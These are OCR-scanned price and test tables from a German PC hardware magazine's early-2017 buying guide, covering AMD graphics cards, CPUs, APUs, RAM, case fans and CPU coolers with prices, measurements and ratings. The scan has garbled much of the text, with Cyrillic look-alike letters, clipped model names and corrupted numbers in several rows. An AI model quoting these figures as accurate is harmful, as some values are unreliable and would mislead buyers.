AMD R9 Fury X* €410,- | 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 ст | 2x 8-Pol 1,3/1,6/1,6 Ѕопе 2,44 09/2015 | www.pcgh.de/preis/1285955 
MSI RX 480 Gaming X 8G €290,- | 8.192 MiB | 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,48 0/2016 | www.pcgh.de/preis/1473074 
Asus R9 Fury Strix € 340,- | 4.096 MiB 970+/1.000 MHz 2/267/274 Wa 30,0/3,5 ст | 2x 8-Po 0,0/2,6/3,1 Sone 2,53 09/2015 | www.pcgh.de/preis/1296495 
Sapphire RX 480 Nitro-- OC 8GB €280,- | 8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,54 0/2016 | www.pcgh.de/preis/1477778 
Asus RX 480 Strix OC €310,- | 8.192 MiB | 1.260+/4.000 MHz | 18/179/180 Wa 30,0/3,5 cm x 8-Po| 0,0/4,2/4,2 Sone 2,55 0/2016 | www.pcgh.de/preis/1479631 
Asus R9 Nano White €400,- | 4.096 MiB | 850+/1.000 MHz 4/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,57 06/2016 | www.pcgh.de/preis/1355032 
Powercolor RX 480 Red Devil € 270,- | 8.192 MiB 1.190+/4.000 MHz 8/199/200 Wa 30,0/3,5 cm x 8-Po 0,0/2,3/2,3 Sone 2,59 0/2016 | www.pcgh.de/preis/1480295 
XFX RX 480 GTR Black Edition € 280,- | 8.192 MiB .320+/4.000 MHz 7/190/203 Wa 28,4/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,60 0/2016 | www.pcgh.de/preis/1485555 
Sapphire RX 480 Nitro+ 4D5 OC € 230,- | 4.096 MiB | 1.306/3.500 MHz 4/207/220 Wa 24,0/3,5 cm x 8-Po| 0,0/4,2/5,0 Sone 2,64 0/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4D5 OC €210,- | 4.096 MiB | 1.220+/3.500 MHz 5/195/209 Wa 24,0/3,5 cm x 8-Po| 0,0/2,5/2,7 Sone 2,70 01/2017 | www.pcgh.de/preis/1483308 
MSI RX 470 Gaming X 4G € 200,- | 4.096 MiB .242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 273) 01/2017 | www.pcgh.de/preis/1488427 
Gigabyte RX 470 G1 Gaming 4G € 195,- | 4.096 MiB | 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po| 0,0/2,4/2,4 Sone 2,76 01/2017 | www.pcgh.de/preis/ 488416 ФТІ 
HIS RX 470 IceQ X2 Turbo © 200,- | 4.096 MiB .100+/3.500 MHz 5/160/162 Wa 22,3/3,5 cm x 6-Po 0,0/1,5/1,5 Sone 2,78 01/2017 | www.pcgh.de/preis/1488555 
XFX RX 470 RS Black Edition € 205,- | 4.096 MiB | 1.080+/3.500 MHz | 14/152/155 Wa 24,6/3,5 cm x 6-Po 0,0/2,2/2,6 Sone 2,79 01/2017 | www.pcgh.de/preis/1488365 
Asus RX 470 Strix OC € 205,- | 4.096 MiB .050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,82 01/2017 | www.pcgh.de/preis/1488369 
Powercolor RX 470 Red Devil € 210,- | 4.096 MiB 1.125+/3.500 MHz 711741182 Wa 24,0/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,84 01/2017 | www.pcgh.de/preis/1488318 
Sapphire R9 380X Nitro € 250,- | 4.096 MiB .040/3.000 MHz 5/239/250 Wa 23,5/3,5 cm | 2x 6-Po 0,0/2,4/2,5 Sone 2,89 01/2016 | www.pcgh.de/preis/1351755 
Asus R9 380X Strix OC € 270,- | 4.096 MiB | 1.030/2.850 MHz 5/199/203 Wa 27,0/3,7 cm | 2x 6-Po 0,0/1,5/1,5 Sone 2,90 01/2016 | www.pcgh.de/preis/1357101 
MSI R9 380 Gaming 4G € 230,- | 4.096 MiB | 980/2.850 MHz 9/209/229 Wa 26,7/3,5 cm | 2x 6-Po 0,0/1,6/2,0 Sone 2,96 09/2015 | www.pcgh.de/preis/1282072 
Asus R9 380 Strix DC20C-2GD5 €200,- | 2.048 MiB | 990/2.750 MHz 9/220/230 Wa 27,0/3,7 ст | 1x 8-Po 0,0/1,3/1,3 Sone 3,07 09/2015 | www.pcgh.de/preis/1282736 
Sapphire R9 380 ITX Compact € 195,- | 2.048 MiB | 980/2.800 MHz 1/186/210 Wa 17,1/3,5 ст | 1x 8-Рој 0,2/2,3/2,4 Sone 3,10 10/2015 | www.pcgh.de/preis/1280836 
Asus RX 460 Strix 04G € 140,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm | 1x 6-Po| 0,0/1,6/1,6 Sone 3,14 01/2017 | www.pcgh.de/preis/1490013 
Sapphire R7 370 Nitro 4GB € 170,- | 4.096 MiB | 985/2.800 MHz 2/115/120 Wa 21,3/3,5 cm | 1x 6-Po 0,0/0,9/1,1 Sone 3,18 03/2016 | www.pcgh.de/preis/1282684 
* Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version (max. Zubehör) getestet. 
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CETTE TT PREIS-LEISTUNGS-TIPP [EL PISPAR-TIPP 


AMD-Prozessoren Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess Sockel Wertung PCGH-Preisvergleich 
AMD FX-9590 Ca. € 195,- 59,4 %/46,2 % | 40/441/383/309 4m/8t |- 47 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 2,98 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. € 165,- 55,1 %/42,2 % | 39/359/318/227 4m/8t |- 40 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,04 ER www.pcgh.de/preis/1155953 
AMD FX-8350 Ca. € 150,- 54,6 %/42,0 % | 40/355/312/218 4m/8t |- 40 GHz + Тигро |32nm | DDR3-1866 | AM3+ 3,05 03/2016 | www.pcgh.de/preis/852989 
"NEU AvD FX-8300 Ca. € 110,- 49,5 %/36,3 % | 38/243/295/288 4m/8t |- 3,3 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,16 03/2017 | www.pcgh.de/preis/1156019 
AMD FX-8320E Ca. € 125,- 48,2 96/35,6 % | 38/282/260/164 4m/8t |- 3,2 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,19 ERE www.pcgh.de/preis/1155966 
AMD FX-6350 Ca. € 110,- 48,3 %/33,1 % | 40/316/285/190 3m/6t |- 3,9 GHz + Turbo | 32 nm | DDR3-1866 | AM3+ 3,25 Sigg www.pcgh.de/preis/939528 
ШТУ AND FX-6300 Ca. € 90,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Turbo | 32 nm | DDR3-1866 | AM3+ 3,31 SZ www.pcgh.de/preis/853168 
AMD A10-7870K Ca. € 125,- 36,1 %/23,2 % | 29/224/255/239 2m/4t | Rad. R7-Serie | 3,9 GHz + Turbo | 28 пт | DDR3-2133 | FM2+ 3,39 os www.pcgh.de/preis/1259232 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-6950X | Ca. € 1.750,- | 100 96/100 % | 50/239/370/304 10c/20t | - 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 2011-v3 4,51 07/2016 | www.pcgh.de/preis/1394456 
.NEU, ntel Core i7-7700K | Ca. € 375,- 98,2 %/65,8 % | 19/223/320/302 4/81 | HD 630 4,2 GHz + Turbo | 14 пт | DDR4-2400 | 1151 1,63 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K Ca. € 1.100,- | 96,8 %/90,7 % | 50/243/349/313 8d16t |- 3,0 GHz + Turbo |14nm | DDR4-2400 | 2011-v3 1,69 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K Ca. € 345,- 91,8 %/60,7 % | 21/302/256/126 4/81 | HD 530 40 GHz + Turbo | 14nm | DDR4-2133 1151 1,79 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C Ca. € 385,- 95,9 %/54,7 % | 19/287/252/120 4c8t | Iris Pro 6200 | 3,3 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 1,85 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.070,- | 88,4 %/81,2 % | 49/364/286/202 80/161 |- 3,0 GHz + Turbo | 22 пт | DDR4-2133 | 2011-v3 1,96 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Ca. € 445,- 89,3 %/70,2 % | 49/235/344/296 6dg12t |- 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 2011-v3 2,07 08/2016 | www.pcgh.de/preis/1394467 
ntel Core i7-5820K | Ca. € 415,- 86,2 %/65,8 % | 46/340/278/176 6c/12t |- 3,3 GHz + Turbo |22nm | DDR4-2133 | 2011-v3 2,15 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K Ca. € 350,- 81,9 %/57,1 % | 18/320/261/134 40/8 HD 4600 4,0 GHz + Turbo | 22 nm | DDR3-1600 1150 2,16 03/2016 | www.pcgh.de/preis/1119923 
. NEU, ntel Core i5-7600K Са. € 255,- 76,8 %/47,9 % | 19/203/262/245 4c/4 HD 630 3,8 GHz + Turbo 4nm | DDR4-2400 | 1151 2,18 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-5675C Ca. € 290,- 78,8 %/41,7 % | 17/245/228/107 Ad ris Pro 6200 | 3,1 GHz + Turbo 4nm | DDR3(L)-1600 | 1150 2,30 d www.pcgh.de/preis/1275321 
ntel Core i5-6600K Ca. € 245,- 67,3 %/43,7 % | 22/245/225/109 4c/4 HD 530 3,5 GHz + Turbo 4nm | DDR4-2133 | 1151 2,43 03/2016 | www.pcgh.de/preis/1290376 
ntel Core 17-3770К | Ca. € 370,- 70,4 %/45,5 % | 25/267/235/123 4c/8 HD 4600 3,5 GHz + Turbo | 22 nm | DDR3-1600 | 1155 2,52 03/2016 | www.pcgh.de/preis/928911 
NEU ntel Core i3-7350K | Ca. € 200,- 65,5 %/34,1 % | 19/189/230/226 2c/4 HD 630 4,2 GHz 4nm | DDR4-2400 | 1151 2,56 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-6500 Ca. € 215,- 63,4 %/40,6 % | 20/230/216/102 40/4 НО 530 3,2 GHz + Turbo 4 пт | DDR4-2133 | 1151 2,76 03/2016 | www.pcgh.de/preis/1290386 
ED Intel Pentium 64560 | Ca. € 60,- 55,0 %/26,9 % | 19/189/230/226 2c/4 HD 610 3,5 GHz 4nm | DDR4-2400 | 1151 3,17 03/2017 | www.pcgh.de/preis/1558362 
APUs (AMD/Intel) Preis Leistung* Stromverbrauch** | Recheneinheiten Takt CPU/GPU Prozess | RAM (max.) | Sockel ЭТ i PCGH-Preisvergleich 
ntel Core i7-5775C Ca. € 385,- 100 %/94,0 % | 21/99/97/80 4c/8t/384 (Gen8) 3,3 - 3,7/1,25 GHz | 14 пт | DDR3(L)-1600 | 1150 1,31 08/2015 | www.pcgh.de/preis/1275291 
ntel Core i5-5675C Ca. € 290,- 96,6 %/73,4 % | 22/98/93/74 4c/4t/384 (Gen8) 3,1 - 3,6/1,15 GHz | 14 nm | DDR3(L)-1600 | 1150 1,52 ERE www.pcgh.de/preis/1275321 
ntel Core i7-6700K | Ca. € 345,- 69,1 %/100 % | 23/77/70/112 4c/8t/192 (Gen9) 4,0 - 4,2/1,15 GHz | 14 пт | DDR4-2133 | 1151 115 10/2015 | www.pcgh.de/preis/1290371 
AMD A10-7870K Ca. € 125,- 83,1 %/43,0 % | 26/107/104/108 2m/4t/512 (GCN) 3,9 - 4,1/0,87 GHz | 28 пт | DDR3-2400 | FM2+ 1,98 03/2014 | www.pcgh.de/preis/1259232 
AMD A10-7850K Ca. € 100,- 78,4 %/41,5 % | 27/104/99/105 2m/4t/512 (GCN) 3,7 - 4,0/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,08 03/2014 | www.pcgh.de/preis/105001 1 
AMD A10-7860K Ca. € 115,- 75,4 %/40,7 % | 26/97/95/102 2m/4t/512 (GCN) 3,6 - 4,0/0,76 GHz | 28 пт | DDR3-2400 | FM2+ 2,12 alid www.pcgh.de/preis/1389138 
AMD A10-7700K Ca. € 85,- 90,4 %/49,3 % | 27/106/104/106 2m/4t/384 (GCN) 3,4 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,21 04/2014 | www.pcgh.de/preis/1050012 
AMD A10-7800 Ca. € 85,- 73,7 %/39,1 % | 27/100/97/97 2m/4t/512 (GCN) 3,5 - 3,9/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,26 09/2014 | www.pcgh.de/preis/1076550 
AMD A8-7650K Ca. € 85,- 71,3 %/38,2 % | 26/108/111/121 2m/4t/384 (GCN) 3,3- 3,8/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,28 05/2015 | www.pcgh.de/preis/1223313 
ШЕТУ AMD 48-7600 (65W) | Ca. € 75,- 70,0 %/38,1 % | 26/93/90/100 2m/4t/384 (GCN) 3,1 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2:32 07/2014 | www.pcgh.de/preis/1051533 
* Normierte, gewichtete Leistung іп Spielen/Anwendungen **Gesamtes System in Watt (Leerlauf oh. Grafikkarte/Crysis 3/0 Spiele/O Anwendungen); APUs: Leerlauf/BF4/BI/x264 MT, 1080р * ** nachgetestet ohne Heftartikel 


Arbeitsspeicher 


DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
G.Skill Trident X F3-2666C12D-16GTXD N. verfügbar | 2 x 8 GiByte DDR3-2666 | 12-13-13-35 | Dual-Rank | 5,4 cm | 1,65 Vol 2,19 | 06/2015 | www.pcgh.de/preis/963433 
In skill Trident X F3-1600C7D-16GTX Са. € 130,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Corsair Vengeance Pro CMY8GX3M2A1866C9 N. verfügbar | 2 x 4 GiByte DDR3-1866 | 9-10-9-27 Single-Rank | 4,5 cm | 1,50 Vo 2,41 09/2013 | www.pcgh.de/preis/951191 
Kingston Hyper X Savage | HX321C11SRK2/16 Са. € 160,- | 2x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Klevv Neo KM3N8GX2W-2133 Ca. € 120,- | 2 x 8 GiByte DDR3-2133 | 10-12-12-31 | Dual-Rank | 4,6 cm | 1,60 Vo 2,48 | 03/2016 | www.pcgh.de/preis/1313430 
Crucial Ballistix Tactical BLT2CP8G3D1869DT1TXOEU N. verfügbar | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vo 2,52 08/2014 | www.pcgh.de/preis/1037301 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 260,- | 4х8 GiByte DDRA-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 320,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R Ca. € 300,- | 4x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
Crucial Ballistix Elite BLE4C4G4D32AEEA Са. € 150,- | 4х4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
Corsair Vengeance LED CMU32GX4M2C3200C16B Ca. € 260,- | 2x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,33 2/2016 | www.pcgh.de/preis/1512560 
G.Skill Trident Z F4-3200C16D-16GTZ Са. € 140,- | 2x8 GiByte DDR4-3200 | 16-16-16-36 | Dual-Rank | 4,4 cm | 1,35 Vo. 2,48 | 04/2016 | www.pcgh.de/preis/1345305 
Tru T Kingston Hyper X Fury HX426C15FBK2/16 Са. € 130,- | 2 x 8 GiByte DDRA-2666 | 15-17-17-35 | Dual-Rank | 3,4 ст | 1,20 Vo 2,57 04/2016 | www.pcgh.de/preis/1306647 
Kingston Hyper X Savage | HX424C12SB2K2/16 Са. € 150,- | 2x 8 GiByte DDRA-2400 | 12-14-14-35 | Dual-Rank | 3,5 cm | 1,35 Vo 2,58 2/2016 | www.pcgh.de/preis/1380048 
Crucial Ballistix Tactical BLT2C8G4D26AFTA N. verfügbar | 2 x 8 GiByte DDR4-2666 | 16-17-17-36 | Dual-Rank | 3,8 cm | 1,20 Vo 2,74 | 04/2016 | www.pcgh.de/preis/1314985 
GEIL Dragon GWWA8GB3000C15DC N. verfügbar | 2 x 4 GiByte DDR4-3000 | 15-17-17-35 | Single-Rank | 3,2 cm | 1,35 Vo 2,78 | 04/2016 | www.pcgh.de/preis/1320964 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI 2170А Gaming М7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** silber-rote Version 
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Einkaufsführer Kühlung 


Preise: Stand 19.01.2017 


Lüfter 


Vëttueg ER PREIS-LEISTUNGS-TIPP 


CELME fT SPAR-TIPP 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 
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** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 
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Hkrikunre 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 
Blacknoise Eloop B12-PS Ca. € 19,- | 4-Ріп PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 
Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm - 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 
EKL Alpenfóhn Wing Boost 2 Blue Ca. € 11,- | 4-Pin PWM/84 cm 7-Volt-Molex-Adapt. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 
Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone 2,62 12/2016 | www.pcgh.de/preis/342339 
Arctic F12 PWM Ca. € 4- | 4-Ріп PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 UM 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 
Be Quiet Silent Wings 2 PWM Ca. € 19,- | 4-Pin PWM/44 cm - 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 
Be Quiet Shadow Wings SW1 Ca. € 11,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 
Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm - 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm _ 1.200 U/min 8,8/11,0/15,2 Kelvin ‚2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin ‚6/0,7/0,1 Sone| 2,27 01/2016 | www.pcgh.de/preis/1348647 
Noctua NF-A14 FLX Ca. € 22,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin ,2/0,4/0,1 Sone 2:27, 01/2016 | www.pcgh.de/preis/870798 
Aerocool Dead Silence White Edi. 140mm | Ca. € 21,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 
Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 
Fractal Design Venturi HP-14 PWM Ca. € 20,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin ,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 
Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin ‚710,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 Снаге 4 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 
Be Quiet Silent Wings 2 PWM Ca. € 20,- | 4-Pin PWM/45 cm - 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 
Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm - 1.200 U/min 8,9/11,5/16,2 Kelvin ‚710,5/0,1 Sone 2,45 01/2016 | www.pcgh.de/preis/1112616 
Nanoxia Cool Force Ca. € 10,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 бопе 2,65 01/2016 | www.pcgh.de/preis/1186749 
Akasa 14cm Apache Black n. verfüg. | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 бопе 2,72 01/2016 | www.pcgh.de/preis/681031 
Noctua NF-A14 Industr.PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 
Be quiet Pure Wings 2 140mm Ca.€9,- | 3-Ріп/45 cm - 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in PCGH-Preisvergleich 
Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 1.72 04/2015 | www.pcgh.de/preis/955636 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) Test in 
Noctua NH-D15 Ca. € 85,- 51 x 175 x 162 mm; 1312 g 50,8 °C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Scythe Mugen 5 Са. € 45,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,11 01/2017 | www.pcgh.de/preis/1549393 
Thermaltake Frio Extr. Silent 14 Dual | Ca. € 80,- 57 x 166 x 146 mm; 1235 g 50,3 *C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 241 09/2015 | www.pcgh.de/preis/1196525 
Scythe Fuma Ca. € 44,- 38 x 149 x 131 mm; 923 g 52,0 *C (900 U/min) 48,5/50,8/56,2 °C 2,9/1,3/0,4 Sone 2713 05/2016 | www.pcgh.de/preis/1339886 
Noctua №Н-0145 Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Ca. € 60,- 55 х 161 x 151 mm; 1.1879 | 52,8 °С (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT Ca. € 60,- 50 x 162 х 148 mm; 1.1119 | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,19 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Са. € 44,- 42 x 173 x 129 mm; 877 g 52,2 °C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,22 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Ca. € 43,- 32 x 155 x 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 222 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Са. Є 37,- 52 х 162 х 128 mm; 823 g 52,1 °С (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,23 04/2016 | www.pcgh.de/preis/1372274 
hermalright Silver Arrow ITX Са. € 60,- 67 x 163 x 105 mm; 775 g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 2,27 05/2016 | www.pcgh.de/preis/1209699 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,29 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 35,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,30 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 39,- 53 х 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca. € 42,- 50 x 165 x 68 mm; 633 g 54 °С (1.060 U/min) 52,2/55,4/63,9 °C ‚2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca.€40,- | 151 х 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
Noctua NH-D15S Ca. € 80,- 49 x 163 х 134 mm; 1.153g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,54 05/2016 | www.pcgh.de/preis/1271076 
EKL Alpenfóhn Brocken Eco Са. € 32,- 31 х 151 x 88 mm; 612 g 55,9 *C (1.240 U/min) 53,7/57,4/64,2 °C ‚40,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
